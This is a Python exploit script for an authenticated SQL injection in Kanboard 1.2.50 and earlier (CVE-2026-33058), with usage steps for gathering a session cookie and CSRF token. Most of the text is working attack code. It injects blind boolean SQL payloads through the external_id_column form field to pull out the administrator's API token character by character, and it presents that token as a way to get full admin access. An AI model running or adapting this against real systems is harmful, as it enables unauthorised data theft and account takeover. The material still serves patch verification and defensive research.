#!/usr/bin/env python3
# Exploit Title: Kanboard Authenticated SQL Injection in ProjectPermissionController
# CVE: CVE-2026-33058
# Date: 2026-03-18
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://kanboard.org
# Software Link: https://github.com/kanboard/kanboard
# Affected: Kanboard <= 1.2.50
# Tested on: Kanboard 1.2.50 (SQLite)
# Category: Webapps
# Platform: PHP
# Exploit Type: Remote
# CVSS: 8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
# Description: Authenticated SQL injection via external_id_column parameter when adding a user to a project.
# Allows extraction of sensitive data (API tokens, password hashes, emails, etc.)
# Fixed in: 1.2.51
# Usage:
# python3 exploit.py <base_url> <project_id> <KB_SID> <csrf_token>
#
# Examples:
# python3 exploit.py http://kanboard.local 1 abc123xyz CSRF-abcdef1234567890
#
# Options:
# --
#
# Notes:
# • Requires valid authenticated session and CSRF token
# • Targets admin API token by default (blind boolean-based)
# • Adjust success condition in send_injection() if needed
#
# How to Use
#
# Step 1: Log in to Kanboard with an account that has permission to add users to a project
#
# Step 2: Open browser dev tools → Network tab → go to project permissions page → copy:
# • KB_SID cookie value
# • csrf_token value from the form (or from any POST request)
#
# Step 3: Run the script with the collected values
#
import sys
import requests
import string
import time
BASE_URL = sys.argv[1].rstrip('/')
PROJECT_ID = sys.argv[2]
KB_SID = sys.argv[3]
CSRF_TOKEN = sys.argv[4]
COOKIES = {
"KB_SID": KB_SID,
}
HEADERS = {
"Content-Type": "application/x-www-form-urlencoded",
"Referer": f"{BASE_URL}/project/{PROJECT_ID}/permissions"
}
def send_injection(payload):
data = {
"csrf_token": CSRF_TOKEN,
"user_id": "",
"username": "testinj",
"external_id": "dummy",
"external_id_column": payload,
"name": "Test Injection",
"role": "project-member"
}
r = requests.post(
f"{BASE_URL}/?controller=ProjectPermissionController&action=addUser&project_id={PROJECT_ID}",
data=data,
cookies=COOKIES,
headers=HEADERS,
allow_redirects=False
)
return "error" not in r.text.lower() and r.status_code == 302
def bool_query(condition):
payload = f"id) OR (SELECT CASE WHEN ({condition}) THEN 1 ELSE (SELECT 1 WHERE 0) END FROM users WHERE role='app-admin' LIMIT 1) -- "
return send_injection(payload)
def extract_admin_api_token():
token = ""
charset = string.ascii_letters + string.digits + "-_"
print("[*] Extracting admin API token (blind boolean)...")
for pos in range(1, 41):
found = False
for c in charset:
condition = f"substr((SELECT api_access_token FROM users WHERE role='app-admin' LIMIT 1),{pos},1)='{c}'"
if bool_query(condition):
token += c
print(f"[+] Position {pos}: {c} → {token}")
found = True
break
time.sleep(0.3)
if not found:
print(f"[+] Token extraction finished: {token}")
break
return token
if __name__ == "__main__":
if len(sys.argv) != 5:
print("Usage: python3 exploit.py <base_url> <project_id> <KB_SID> <csrf_token>")
sys.exit(1)
extracted = extract_admin_api_token()
if extracted:
print(f"\n[!] Extracted admin API token: {extracted}")
print("You can now use this token for full API access as admin.")